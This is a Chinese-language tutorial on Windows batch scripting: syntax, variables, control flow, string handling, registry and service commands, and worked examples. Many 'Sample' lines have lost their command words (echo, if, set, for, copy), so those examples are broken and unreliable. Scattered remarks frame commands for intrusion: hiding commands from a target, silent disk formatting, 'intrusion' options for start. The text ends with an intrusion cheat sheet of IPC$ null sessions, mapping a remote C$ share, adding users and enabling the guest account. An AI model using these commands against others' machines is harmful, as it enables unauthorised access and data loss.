基礎部分: ====================================================================== 1、基礎語法: 1.批處理文件是一個「.bat」結尾的文本文件,這個文件的每一行都是一條DOS命令。可使用任何文本文件編輯工具建立和修改。 2.批處理是一種簡單的程序,能夠用 if 和 goto 來控制流程,也可使用 for 循環。 3.批處理的編程能力遠不如C語言等編程語言,也十分不規範。 4.每一個編寫好的批處理文件都至關於一個DOS的外部命令,把它所在的目錄放到DOS搜索路徑(path)中,便可在任意位置運行。 5.C:\AUTOEXEC.BAT 是每次系統啓動時都會自動運行的,能夠將每次啓動時都要運行的命令放入該文件中。 6.大小寫不敏感(命令符忽略大小寫) 7.批處理的文件擴展名爲 .bat 或 .cmd。 8.在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe來運行該文件。 2、參數: 1) 系統參數
%SystemRoot% === C:\WINDOWS (%windir% 一樣) %ProgramFiles% === C:\Program %USERPROFILE% === C:\Documents and Settings\Administrator (子目錄有「桌面」,「開始菜單」,「收藏夾」等) %APPDATA% === C:\Documents and Settings\Administrator\Application Data %TEMP% === C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp (%TEM% 一樣) %APPDATA% === C:\Documents and Settings\Administrator\Application Data %OS% === Windows_NT (系統) %% === %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem (本來的設置) %HOMEDRIVE% === C: (系統盤) %HOMEPATH% === \Documents and Settings\Administrator enabledelayedexpansion /F "usebackq delims==" %%i IN (``) %%i !%%i!
2) 傳遞參數給批處理文件 %[1-9]表示參數,參數是指在運行批處理文件時在文件名後加的以空格(或者Tab)分隔的字符串。 變量能夠從%0到%9,%0表示批處理命令自己,其它參數字符串用 %1 到 %9 順序表示。
Sample: test2.bat "hello" "haha" (執行同目錄下的「test2.bat」文件,並輸入兩個參數) 在「test2.bat」文件裏寫: (打印: "hello") (打印: "haha") (打印: test2.bat) (打印: "hello"9)
3、批處理基本命令
0. help 命令 /? 命令 語法: 命令 /? 可顯示此命令的幫助信息
Sample: /? >>tmp.txt (把 命令的幫助信息寫入到tmp.txt文件裏) Sample: help (顯示跟「 /?」同樣)
1.Echo 命令 語法: echo [{on|off}] [message] ECHO [ON | OFF] 打開回顯或關閉回顯功能。 ECHO 顯示當前回顯設置。 ECHO [message] 顯示信息。 echo off 表示在此語句後全部運行的命令都不顯示命令行自己;默認是on,on時會顯示如: C:\文件夾路徑>命令行。 在實際應用中咱們會把這條命令和重定向符號( 也稱爲管道符號,通常用 > >> ^ )結合來實現輸入一些命令到特定格式的文件中。
Sample: Sample: hello world (顯示出「hello world」) Sample: Windows Registry Editor Version 5.00 > c:\setupreg.reg (此前尚未 setupreg.reg 這個文件) Sample: "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg (追加內容進 setupreg.reg 這個文件)
2.@ 命令 表示不顯示@後面的命令,(在入侵過程當中天然不能讓對方看到你使用的命令啦) @ 與 echo off 相象,但它是加在每一個命令行的最前面,表示運行時不顯示這一行的命令行(只能影響當前行)。
Sample: (此語句經常使用於開頭,表示不顯示全部的命令行信息,包括此句) Sample: please wait a minite... Sample: @ X: /q/u/autoset
(format 這個命令是不可使用/y這個參數的,可喜的是微軟留了個autoset這個參數給咱們,效果和/y是同樣的。) 3.Goto 命令 語法:goto label (label是參數,指定所要轉向的批處理程序中的行。) 指定跳轉到標籤行,找到標籤行後,程序將處理從下一行開始的命令。 label標籤的名字能夠隨便起,可是最好是有意義的,字母前必須加個冒號「:」來表示這個字母是標籤。 goto命令就是根據這個冒號來尋找下一步跳到到那裏。常常與 if 配合使用,根據不一樣的條件來執行不一樣的命令組。 例題見「5.Pause 命令」 4.Rem 命令 語法:Rem Message... (小技巧:用::代替rem) 註釋命令,在C語言中至關與/*...*/,它並不會被執行,只是起一個註釋的做用,便於別人閱讀和本身往後修改。
Sample:@
5.Pause 命令 會暫停批處理的執行並在屏幕上顯示Press any key to continue...的提示,等待用戶按任意鍵後繼續
Sample: a:*.* d:\back Please put a new disk into driver A begin
在這個例子中,驅動器 A 中磁盤上的全部文件均複製到d:\back中。 顯示的信息提示您將另外一張磁盤放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,而後按任意鍵再次複製。 6.Call 命令 語法: call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 參數: [Drive:][Path] FileName 指定要調用的批處理程序的位置和名稱。filename 參數必須具備 .bat 或 .cmd 擴展名。 調用另外一個批處理程序,而且不終止父批處理程序。 若是不用call而直接調用別的批處理文件,那麼執行完那個批處理文件後將沒法返回當前文件並執行當前文件的後續命令。 call 命令接受用做調用目標的標籤。若是在腳本或批處理文件外使用 Call,它將不會在命令行起做用。
Sample:="%cd%\test2.bat" haha kkk aaa (調用指定目錄下的 test2.bat,且輸入3個參數給他) Sample: test2.bat arg1 arg2 (調用同目錄下的 test2.bat,且輸入2個參數給他)
注:能夠調用自身(死循環、遞歸) 7.start 命令 調用外部程序,全部的 DOS命令 和 命令行程序 均可以由 start命令 來調用。 入侵經常使用參數: MIN 開始時窗口最小化 SEPARATE 在分開的空間內開始 16 位 Windows 程序 HIGH 在 HIGH 優先級類別開始應用程序 REALTIME 在 REALTIME 優先級類別開始應用程序 WAIT 啓動應用程序並等候它結束 parameters 這些爲傳送到命令/程序的參數
Sample: /MIN test2.bat arg1 arg2 (調用同目錄下的 test2.bat,且輸入2個參數給他,且本窗口最小化) Sample:e:\"program files"\極品列車時刻表\jpskb.exe (文件路徑名有空格時)
8.If 命令 if 表示將判斷是否符合規定的條件,從而決定執行不一樣的命令。有三種格式: 1) IF 語法: if [not] "參數" == "字符串" 待執行的命令 參數若是等於(not表示不等,下同)指定的字符串,則條件成立,運行命令,不然運行下一句。(注意是兩個等號)
Sample: "%1" == "a" a: Sample: {} == {} noparms
2) if exist 語法: if [not] exist [路徑\]文件名 待執行的命令 若是有指定的文件,則條件成立,運行命令,不然運行下一句。
Sample: config.sys edit config.sys (表示若是存在這文件,則編輯它,用很難看的系統編輯器) Sample: config.sys config.sys (表示若是存在這文件,則顯示它的內容)
3) if errorlevel number 語法: if [not] errorlevel <數字> 待執行的命令 若是程序返回值等於指定的數字,則條件成立,運行命令,不然運行下一句。(返回值必須按照從大到小的順序排列)
Sample: F:\test.bat D:\ 1 ( 文件拷貝失敗 ) 0 成功拷貝文件
不少DOS程序在運行結束後會返回一個數字值用來表示程序運行的結果(或者狀態),稱爲錯誤碼errorlevel或稱返回碼。 常見的返回碼爲0、1。經過if errorlevel命令能夠判斷程序的返回值,根據不一樣的返回值來決定執行不一樣的命令。 4) else 語法: if 條件 (成立時執行的命令) else (不成立時執行的命令) 若是是多個條件,建議適當使用括號把各條件包起來,以避免出錯。
Sample: 1 == 0 ( comment1 ) 1==0 ( comment2 ) ( comment3 ) 注:若是 的語句須要換行, 執行的行尾需用「^」鏈接,而且 執行的動做需用(括起來),不然報錯 Sample: 1 == 0 ( comment1 ) 1==0 ( comment2 ) ^ ( comment3 )
5) 比較運算符: EQU - 等於 (通常使用「==」) NEQ - 不等於 (沒有 「!=」,改用「 if not 1==1 」的寫法) LSS - 小於 LEQ - 小於或等於 GTR - 大於 GEQ - 大於或等於 9.choice 命令 choice 使用此命令可讓用戶輸入一個字符(用於選擇),從而根據用戶的選擇返回不一樣的 errorlevel, 而後配合 if errorlevel 選擇運行不一樣的命令。 注意:choice命令爲DOS或者Windows系統提供的外部命令,不一樣版本的choice命令語法會稍有不一樣,請用choice /?查看用法。 choice 使用此命令可讓用戶輸入一個字符,從而運行不一樣的命令。 使用時應該加/c:參數,c:後應寫提示可輸入的字符,之間無空格。它的返回碼爲1234……
Sample: /c defrag,, 將顯示: defrag,,[D,M,E]? Sample: /c defrag,, 3 defrag (應先判斷數值最高的錯誤碼) 2 errotlevel 1
10.for 命令 for 命令是一個比較複雜的命令,主要用於參數在指定的範圍內循環執行命令。 1) for {%variable | %%variable} in (set) do command [command-parameters] %variable 指定一個單一字母可替換的參數。變量名稱是區分大小寫的,因此 %i 不一樣於 %I 在批處理文件中使用 FOR 命令時,指定變量建議用 %%variable而不要用 %variable。 (set) 指定一個或一組文件。可使用通配符。 command 指定對每一個文件執行的命令。 command-parameters 爲特定命令指定參數或命令行開關。 2) 若是命令擴展名被啓用,下列額外的 FOR 命令格式會受到支持: a.FOR /D %variable IN (set) DO command [command-parameters] 若是集裏面包含通配符,則指定與目錄名匹配,而不與文件名匹配。 b.FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] 檢查以 [drive:]path 爲根的目錄樹,指向每一個目錄中的FOR 語句。 若是在 /R 後沒有指定目錄,則使用當前目錄。若是集僅爲一個單點(.)字符,則枚舉該目錄樹。 c.FOR /L %variable IN (start,step,end) DO command [command-parameters] 該集表示以增量形式從開始到結束的一個數字序列。 如:(1,1,5) 將產生序列 1 2 3 4 5; 而(5,-1,1) 將產生序列 (5 4 3 2 1)。 d.有或者沒有 usebackq 選項: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 參數"options"爲: eol=c - 指一個行註釋字符的結尾(就一個,如「;」) skip=n - 指在文件開始時忽略的行數。 delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。 tokens=x,y,m-n - 指每行的哪個符號被傳遞到每一個迭代的 for 自己。這會致使額外變量名稱的分配。 m-n格式爲一個範圍。經過 nth 符號指定 mth。 若是符號字符串中的最後一個字符星號,那麼額外的變量將在最後一個符號解析以後分配並接受行的保留文本。 usebackq - 指定新語法已在下類狀況中使用: 在做爲命令執行一個後引號的字符串而且一個單引號字符爲文字字符串命令並容許在 filenameset中使用雙引號擴起文件名稱。 3) Sample: 1. 以下命令行會顯示當前目錄下全部以bat或者txt爲擴展名的文件名。 for %%c in (*.bat *.txt) do (echo %%c) a. 以下命令行會顯示當前目錄下全部包含有 e 或者 i 的目錄名。 for /D %%a in (*e* *i*) do echo %%a b. 以下命令行會顯示 E盤test目錄 下全部以bat或者txt爲擴展名的文件名。 for /R E:\test %%b in (*.txt *.bat) do echo %%b for /r %%c in (*) do (echo %%c) :: 遍歷當前目錄下全部文件 c. 以下命令行將產生序列 1 2 3 4 5 for /L %%c in (1,1,5) do echo %%c d. 如下兩句,顯示當前的年月日和時間 For /f "tokens=1-3 delims=-/. " %%j In ('Date /T') do echo %%j年%%k月%%l日 For /f "tokens=1,2 delims=: " %%j In ('TIME /T') do echo %%j時%%k分 e. 把記事本中的內容每一行前面去掉8個字符 setlocal enabledelayedexpansion for /f %%i in (zhidian.txt) do ( set atmp=%%i set atmp=!atmp:~8! if {!atmp!}=={} ( echo.) else echo !atmp! ) :: 讀取記事本里的內容(使用 delims 是爲了把一行顯示全,不然會以空格爲分隔符) for /f "delims=" %%a in (zhidian.txt) do echo.%%a 4) continue 和 break 利用 goto 實現程序中經常使用的 continue 和 break 命令, 其實很是簡單 continue: 在 for 循環的最後一行寫上一個標籤,跳轉到這位置便可 break: 在 for 循環的外面的下一句寫上一個標籤,跳轉到這位置便可 Sample: (僞代碼) for /F ["options"] %variable IN (command) DO ( ... do command ... if ... goto continue if ... goto break ... do command ... :continue ) :break 4、其它命令 1. ping 命令 測試網絡聯接情況以及信息包發送和接收情況。可是不可以測試端口。 語法:ping IP地址或主機名 [-t] [-a] [-n count] [-l size] 參數含義: -t 不停地向目標主機發送數據; -a 以IP地址格式來顯示目標主機的網絡地址; -n count 指定要Ping多少次,具體次數由count來指定; -l size 指定發送到目標主機的數據包的大小。
Sample: ping 192.168.0.1 -t (不停的測試192.168.0.1,按ctrl+c中止) Sample: /L %%a in (0,1,255) ping 192.168.0.%%a -n 1 >> tmp.txt (ping一下全部的局域網電腦)
2. telnet 命令 測試端口使用 telnet IP地址或主機名 端口,使用tcp協議的
Sample: telnet 192.168.0.1 80 (測試192.168.0.1的80端口)
3.color 命令 設置背景及字體顏色 語法: color bf b 是指定背景色的十六進制數字; f 指定前景顏色(即字體顏色)。 顏色值: 0:黑色 1:藍色 2:綠色 3:湖藍 4:紅色 5:紫色 6:黃色 7:白色 8:灰色 9:淡藍 A:淡綠 B:淺綠 C:淡紅 D:淡紫 E:淡黃 F:亮白 若是沒有給定任何參數,該命令會將顏色還原到 CMD.EXE 啓動時的顏色。 若是兩參數同樣,視爲無效輸入。只有一個參數時,設置字體。 4. random 命令 產生隨機數(正整數0~) 5. exit 命令 結束程序。即時是被調用的程序,結束後也不會返回原程序 6. shutdown命令 shutdown -s 關機 10. 全部內置命令的幫助信息 ver /? cmd /? set /? rem /? if /? echo /? goto /? for /? shift /? call /? 其餘須要的經常使用命令 type /? find /? findstr /? copy /? 5、字符串處理 1) 分割字符串,以查看時間爲例 %源字符串:~起始值,截取長度% (起始值從0開始;截取長度是可選的,若是省略逗號和截取長度,將會從起始值截取到結尾; 截取長度若是是負數,表示截取到倒數第幾個。)
"%time%" 顯示如:"11:04:23.03" (完整的時間"hh:mm:ss.tt") "%time:~0,5%" 顯示"hh:mm"(即"11:04"),其中0表示從右向左移位操做的個數,5表示從左向右移位操做的個數 "%time:~0,8%" 顯示標準時間格式"hh:mm:ss"(即"11:04:23",前8個字符串) "%time:~3,-3%"顯示"mm:ss"(即從第4個開始,截去最後3個的字符串) "%time:~3%" 顯示"04:23.03"(即去掉前4個字符串) "%time:~-3%" 顯示".tt"(即最後3個字符串)
上面的字串分割格式,也能夠用於其它地方,如目錄路徑:"%cd:~0,10%"
2) 替換字符串
a="abcd1234" %a% 顯示:"abcd1234" a=%a:1=kk% 替換「1」爲「kk」 %a% 顯示:"abcdkk234"
3) 字符串合併 因爲沒有直接的字符串合併函數,只能用笨方法了。
str1=%str1%%str2% (合併 str1 和 str2)
4) 計算字符串長度
沒有現成的函數。以下程序利用 goto造成循環,不斷將字符串截短1,並記錄截短的次數,到字符串變成空時的次數即長度。 testStr=This is a test string str=%testStr% "%str%"=="" ( /a num+=1 "str=%str:~1%" next1 ) testStr=%testStr% testStr的長度爲:%num%
5) 截取字符串時,須要傳遞參數 直接 echo %args:~%num%,-5% 沒辦法想要的字符串,須要以下兩步
enabledelayedexpansion !args:~%num%,-5!
6、註冊表操做 1) 備份註冊表,將[HKEY_LOCAL_MACHINE ... Run]的內容,備份到「c:\windows\1.reg」
reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ c:\windows\1.reg reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ c:\windows\2.reg
2) 修改/添加註冊表內容 a.通常的添加或修改
reg add "HKCU\Environment" /v Java_Home /t reg_sz /d "D:\Java\jdk1.6.0_07" /f 上句解析:「HKCU」是「HKEY_CURRENT_USER」的縮寫,不用縮寫用全稱也能夠; 添加名稱爲「Java_Home」的變量;類型爲「reg_sz」,另外一種常見類型是「reg_dword」;值爲 D:\Java\jdk1.6.0_07;
b.使用變量
SoftWareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java reg add "%SoftWareHome%Web Start\1.6.0_07" /v Home /t reg_sz /d "%cd%\jre1.6.0_07\bin" /f
c.若是註冊表的名稱有空格,或者數據用特殊符號時
reg add "%SoftWareHome2%\HelpCommands" /v "01:Online Documentation" /t reg_sz /d "\"%cd%\Documentation\Index.htm\"" /f 傳入值爲(值用雙引號括起來的):"D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm" reg add "%SoftWareHome2%\Paths" /v ReportTemplates /t reg_sz /d "%cd%\Resource Files\Report Templates\\" /f 傳入值爲(「\」結尾的): E:\Holemar\1.notes\90. Windows\Resource \Report Templates\
d.增長空的內容
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"
e.添加或修改默認值
reg add "%vpath%InstallPath" /ve /t reg_sz /d "%cd%" /f 這裏用「/ve」來代替通常修改時的「/v 變量名」,便可修改默認值了
3) 刪除註冊表的內容
雙引號裏面的是註冊表的目錄,下面兩句將刪除這目錄下的全部信息 reg delete "HKEY_CURRENT_USER\Software\RealVNC" /f reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC" /f 雙引號裏面的是註冊表的目錄,下面一句將刪除這目錄下指定的某個信息 reg delete "HKEY_LOCAL_MACHINE\Software\RealVNC" /v VNC_Server /f
4) 註冊表的經常使用位置 a.系統啓動項: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
example: REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ /v VNC_Server /t REG_SZ /d "%cd%\VNC_Server.bat" /f
b.系統環境變量: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment] c.當前用戶的環境變量: [HKEY_CURRENT_USER\Environment] 5) 修改註冊表以後,結束並從新加載explorer.exe進程,可刷新註冊表,令其生效
taskkill /f /im explorer.exe >nul "" "explorer.exe"
7、系統服務 1) 中止服務:NET STOP 服務名 啓動服務:NET Start 服務名 2) 設置啓動類型 自動: SC CONFIG 服務名 START= auto 手動: SC CONFIG 服務名 START= demand 已禁用:SC CONFIG 服務名 START= disabled 附:「START= 」等號後面必需要有一個空格。(start還有boot,system兩個值) Sample: SC CONFIG Spooler START= demand (打印機加載項,設置成手動,默認自動) 3) 查看系統服務:start %SystemRoot%\system32\services.msc /s 8、setlocal與變量延遲 0) 在沒有開啓變量延遲的狀況下,某條命令行中的變量改變,必須到下一條命令才能體現。 另外例如for命令等,其後用一對圓括號閉合的全部語句也看成一行。 example: set a=4 set a=5 & echo %a% 結果:4 也能夠對這種機制加以利用,以下的變量交換 example: set var1=abc set var2=123 echo 交換前: var1=%var1% var2=%var2% set var1=%var2%& set var2=%var1% echo 交換後: var1=%var1% var2=%var2% 1) 啓動批處理文件中環境變量的本地化。本地化將持續到出現匹配的 endlocal 命令或者到達批處理文件結尾爲止。 語法: setlocal {enableextension | disableextensions} {enabledelayedexpansion | disabledelayedexpansion} enableextension: 啓用命令擴展,直到出現匹配的 endlocal 命令,不管 setlocal 命令以前的設置如何。 disableextensions: 禁用命令擴展,直到出現匹配的 endlocal 命令,不管 setlocal 命令以前的設置如何。 enabledelayedexpansion: 啓用延遲的環境變量擴展,直到出現匹配的 endlocal 命令,不管 setlocal 命令以前的設置如何。 disabledelayedexpansion: 禁用延遲的環境變量擴展,直到出現匹配的 endlocal 命令,不管 setlocal 命令以前的設置如何。 2) 爲了可以感知環境變量的動態變化,批處理設計了變量延遲。簡單來講,在讀取了一條完整的語句以後,不當即對該行的變量賦值,而會在某個單條語句執行以前再進行賦值,也就是說「延遲」了對變量的賦值。 examle: setlocal enabledelayedexpansion set a=4 set a=5 & echo !a! 結果: 5 變量延遲的啓動語句是「setlocal enabledelayedexpansion」,而且變量要用一對歎號「!!」括起來 因爲啓動了變量延遲,因此批處理可以感知到動態變化,即不是先給該行變量賦值,而是在運行過程當中給變量賦值,所以此時a的值就是5了 另外,啓動變量延遲,「%」的變量仍是不變 example2: setlocal enabledelayedexpansion for /l %%i in (1,1,5) do ( set a=%%i echo !a! ) 結果,打印從1到5;若是不變量延遲,一個變量也沒有打印 9、文件處理 1.刪除 1) 刪除一個文件或多個文件 del /s /q /f d:\test\a.bat 將直接刪除d:\test\a.bat,沒有任務提示 del temp\* /q /f /s 將直接刪除 本目錄的 temp 目錄的全部文件,沒有任務提示 刪除文件的時候可使用「*」做通配符 2) 刪除一個空目錄 rd /q /s d:\test\log 將直接刪除d:\test\log目錄,若是log目錄裏面有文件將沒法刪除 3) 刪除一個非空目錄 (必須指定目錄名稱) rmdir /q /s d:\test\logs 必須指定目錄名稱,不能使用通配符 /S 除目錄自己外,還將刪除指定目錄下的全部子目錄 /Q 安靜模式,帶 /S 刪除目錄樹時不要求確認 不管裏面是否有文件或文件夾將所有直接刪除 2.建立目錄 MKDIR [drive:]path MD [drive:]path 路徑有空格時,能夠用雙引號括起來,也能夠用 替代 實踐部分: ====================================================================== 1、小摘錄: 1. 調用其餘程序時,對文件的大小寫不敏感,文件後綴也可忽略 如:start LeapFTP.exe 與 start leapftp 效果同樣,都是運行「LeapFTP.exe」文件 每行的開頭的字符串會自動查找程序來運行,還可用雙引號引發來(文件名或目錄名含空格時必須用) 如:"D:\Program Files\Leap FTP.exe" "LeapFTP.exe" 可正常運行文件,start "" "LeapFTP.exe" 也能夠正常運行文件(注意,第一個參數是窗口顯示的標題) 3. copy C:\test\*.* D:\back (複製C盤test文件夾的全部文件(不包括文件夾及子文件夾裏的東西)到D盤的back文件夾) 4. dir c:\*.* > a.txt (將c盤文件列表寫入 a.txt 中) 5. > 生成文件並寫入內容(若是有這文件則覆蓋), >> 文件裏追加內容 6. md d:\aa (建立文件夾) 7. 在命令末尾加上「>NUL 2>NUL」,表示隱蔽返回信息。 8. 等待用戶輸入: set /p 變量名=屏幕顯示信息。 Sample:set /p pass=請輸入密碼: 9. 讓用戶按回車退出 小技巧(替代pause),文件的最後一句:set /p tmp=操做結束,請按回車鍵退出... 10.設置標題: title JDK安裝 11.設置屏幕顯示顏色,如綠色: color 0a 12.清屏: cls 13.查看本身的IP: for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i echo %ip% (這時的 %ip% 就是本身的IP地址) 14. 修改文件的更新日期 copy 文件名+,,>nul (修改成當前時間,若是要修改成指定時間,先修改系統時間,再改回系統時間) 15. 修改文件的後綴名 ren C:\test\*.jpg *.JPG for /r %%c in (*.jpg) do (ren %%c *.JPG) :: 修改當前目錄下的全部文件的後綴名,包括子目錄的 16. 修改文件的文件名 rename test.jpg test2.JPG rename *.jpg *.888.JPG 17. 查看DNS、IP、Mac等 1) Win98: winipcfg 2) Win2000以上: Ipconfig /all 3) NSLOOKUP 18.查看IP上的共享資源,就能夠 net view 192.168.10.8 19.共享 A.查看你機器的共享資源: net share B.手工刪除共享 net share 共享資源名稱$ /d 注意$後有空格。 C.增長一個共享: net share mymovie=e:\downloads\movie /users:3 mymovie 共享成功。 同時限制連接用戶數爲3人。 20.打開某網站 start iexplore.exe http://www.baidu.com 2、實例: 1. 生成 reg 文件,運行它,再刪除它 echo "更改windows安裝文件的路徑" echo Windows Registry Editor Version 5.00 > c:\setupreg.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup] >> c:\setupreg.reg echo "ServicePackSourcePath"="D:\\Win2003\\" >> c:\setupreg.reg echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg :: 寫入註冊表 regedit /S c:\setupreg.reg :: 刪除註冊表文件 del c:\setupreg.reg 2.調用了exe文件,結束後沒有關閉,解決方式 用start命令運行文件,如: start LeapFTP.exe 192.168.0.100 3.設置系統環境變量 :: 有這個環境變量,則不需再設置,直接結束 if not "%JAVA_HOME%" == "" exit :: 設置環境變量的地址 set inputJavaHome=%cd%\jdk1.6.0_07 :: 設置環境變量,也能夠設置當前用戶的變量 set EnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment echo 正在設置環境變量,請稍候...... reg add "%EnvironmentHome%" /v JAVA_HOME /t reg_sz /d "%inputJavaHome%" /f reg add "%EnvironmentHome%" /v ClassPath /t reg_sz /d ".;%%JAVA_HOME%%\lib" /f reg add "%EnvironmentHome%" /v Path /t reg_sz /d "%%JAVA_HOME%%\bin;%Path%" /f] :: 刷新,令環境變量生效 taskkill /f /im explorer.exe >nul start "" "explorer.exe" 4.隱藏某目錄的全部文件及文件夾 cd /d 要隱藏的目錄(如:D:) for /f "usebackq delims=" %%A in (`dir /a /b`) do (attrib "%%A" -r +h -s) 5.在批處理中使用密碼。密碼爲admin,輸入正確,跳轉到next1 ,若輸入密碼錯誤3次,則鎖屏。。 @echo off set num=0 :11 set /p pass=請輸入密碼: if "%pass%"=="admin" goto next1 set /a num=%num% + 1 if %num%==3 goto no1 goto 11 :no1 %windir%\system32\rundll32.exe user32.dll,LockWorkStation goto 11 :next1 echo 密碼正確,執行下面的程式 pause 6.清空回收站(未成功) @echo off del /f /s /q c:\recycler\*.* ::刷新屏幕 taskkill /f /im explorer.exe >nul start "" "explorer.exe" 7.讓系統斷斷續續地鳴叫 @echo off :begin :: 發出鳴叫(「」實際就是ASCII碼值爲7的特殊字符(蜂鳴鍵beep) echo :: 讓程序暫停一小陣子 ping -n 1 -l 1 127.1>nul goto :begin 8.將 FAT 卷轉換成 NTFS 利用「CONVERT.exe」進行,解析以下: CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity] [/X] volume 指定驅動器號(後面跟一個冒號)、裝載點或卷名。 /FS:NTFS 指定要被轉換成 NTFS 的卷。 /V 指定 Convert 應該用詳述模式運行。 /CvtArea:filename 將根目錄中的一個接續文件指定爲NTFS 系統文件的佔位符。 /NoSecurity 指定每一個人均可以訪問轉換的文件和目錄的安全設置。 /X 若是必要,先強行卸載卷。該卷的全部打開的句柄則無效。 程序以下: @ ECHO OFF @ ECHO. @ ECHO. 說 明 @ ECHO -------------------------------------------------------------------------- @ ECHO NTFS是一種磁盤格式。該格式能存放大於4G的單個文件(如高清電影文件),並可對 @ ECHO 文件夾進行加密,但有個缺點是DOS下沒法訪問。建議D盤及其後的盤使用NTFS格式, @ ECHO C盤如非必要能夠不轉換,FAT32與NTFS這兩種格式的讀寫速度幾乎是沒有差異的。 @ ECHO -------------------------------------------------------------------------- @ ECHO. convert c: /fs:ntfs :: D盤也轉成 NTFS convert d: /fs:ntfs 9. 獲取個人文檔 SET SF="HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" FOR /F "tokens=2,*" %%I IN ('REG QUERY %SF% /v Personal 2^>NUL^|FIND /I "Personal"') DO SET "myDoc=%%~J" :: 複製文件到個人文檔 XCOPY /D /E /R /Y /C "%cd%\test.txt" "%myDoc%\test\" ========================================== 實例: 3.IF-ERRORLEVEL @ECHO OFF XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷貝失敗 IF ERRORLEVEL 0 ECHO 成功拷貝文件 若是文件拷貝成功,屏幕就會顯示「成功拷貝文件」,不然就會顯示「文件拷貝失敗」。 IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的,注意只是上一個命令的返回值,並且返回值必須依照從大到小次序順序判斷。所以下面的批處理文件是錯誤的: @ECHO OFF XCOPY C:\AUTOEXEC.BAT D:\ CHO 成功拷貝文件 IF ERRORLEVEL 1 ECHO 未找到拷貝文件 IF ERRORLEVEL 2 ECHO 用戶經過ctrl-c停止拷貝操做 IF ERRORLEVEL 3 ECHO 預置錯誤阻止文件拷貝操做 IF ERRORLEVEL 4 ECHO 拷貝過程當中寫盤錯誤 不管拷貝是否成功,後面的: 未找到拷貝文件 用戶經過ctrl-c停止拷貝操做 預置錯誤阻止文件拷貝操做 拷貝過程當中寫盤錯誤 都將顯示出來。 如下就是幾個經常使用命令的返回值及其表明的意義: backup 0 備份成功 1 未找到備份文件 2 文件共享衝突阻止備份完成 3 用戶用ctrl-c停止備份 4 因爲致命的錯誤使備份操做停止 diskcomp 0 盤比較相同 1 盤比較不一樣 2 用戶經過ctrl-c停止比較操做 3 因爲致命的錯誤使比較操做停止 4 預置錯誤停止比較 diskcopy 0 盤拷貝操做成功 1 非致命盤讀/寫錯 2 用戶經過ctrl-c結束拷貝操做 3 因致命的處理錯誤使盤拷貝停止 4 預置錯誤阻止拷貝操做 format 0 格式化成功 3 用戶經過ctrl-c停止格式化處理 4 因致命的處理錯誤使格式化停止 5 在提示「proceed with format(y/n)?」下用戶鍵入n結束 xcopy 0 成功拷貝文件 1 未找到拷貝文件 2 用戶經過ctrl-c停止拷貝操做 4 預置錯誤阻止文件拷貝操做 5 拷貝過程當中寫盤錯誤 ============================================================= @echo off //不顯示shell的命令。 Setlocal //環境改變只適用於這個文件。 %OS% //爲當前的操做系統。 Rem //註釋一行文本。 Goto 標籤 //改變執行順序,去標籤位置. :標籤 //定義一個標籤。 Set 變量名=值 //定義變量 Not //取反 Netstat –na //顯示當前被點用的端口. %0 %1 %2 //用於表示批處理文件的參數0爲命令,共1-9個參數。 Shift //用於向前一個參數,原1變0,原2變1.每調用一次shift向前一移動一位。 Call //調用其餘批處理文件或命令。 Start 命令 參數 //指示出在另外一個窗口中開始運行命令。 ============================================================= :: 這段批處理程序能夠自動設置Java環境變量 @echo off IF EXIST %1\bin\java.exe ( rem 如輸入正確的 Java2SDK 安裝目錄,開始設置環境變量 @setx JAVA_HOME %1 @setx path %path%;%JAVA_HOME%\bin @setx classpath %classpath%;. @setx classpath %classpath%;%JAVA_HOME%\lib\tools.jar @setx classpath %classpath%;%JAVA_HOME%\lib\dt.jar @setx classpath %classpath%;%JAVA_HOME%\jre\lib\rt.jar @echo on @echo Java 2 SDK 環境參數設置完畢,正常退出。 ) ELSE ( IF "%1"=="" ( rem 如沒有提供安裝目錄,提示以後退出 @echo on @echo 沒有提供 Java2SDK 的安裝目錄,不作任何設置,如今退出環境變量設置。 ) ELSE ( rem 若是提供非空的安裝目錄但沒有bin\java.exe,則指定的目錄爲錯誤的目錄 @echo on @echo 非法的 Java2SDK 的安裝目錄,不作任何設置,如今退出環境變量設置。 ) ) dos命令參考~~~ net use \\ip\ipc$ " " /user:" " 創建IPC空連接 net use \\ip\ipc$ "密碼" /user:"用戶名" 創建IPC非空連接 net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登錄後映射對方C:到本地爲H: net use h: \\ip\c$ 登錄後映射對方C:到本地爲H: net use \\ip\ipc$ /del 刪除IPC連接 net use h: /del 刪除映射對方到本地的爲H:的映射 net user 用戶名 密碼 /add 創建用戶 net user guest /active:yes 激活guest用戶 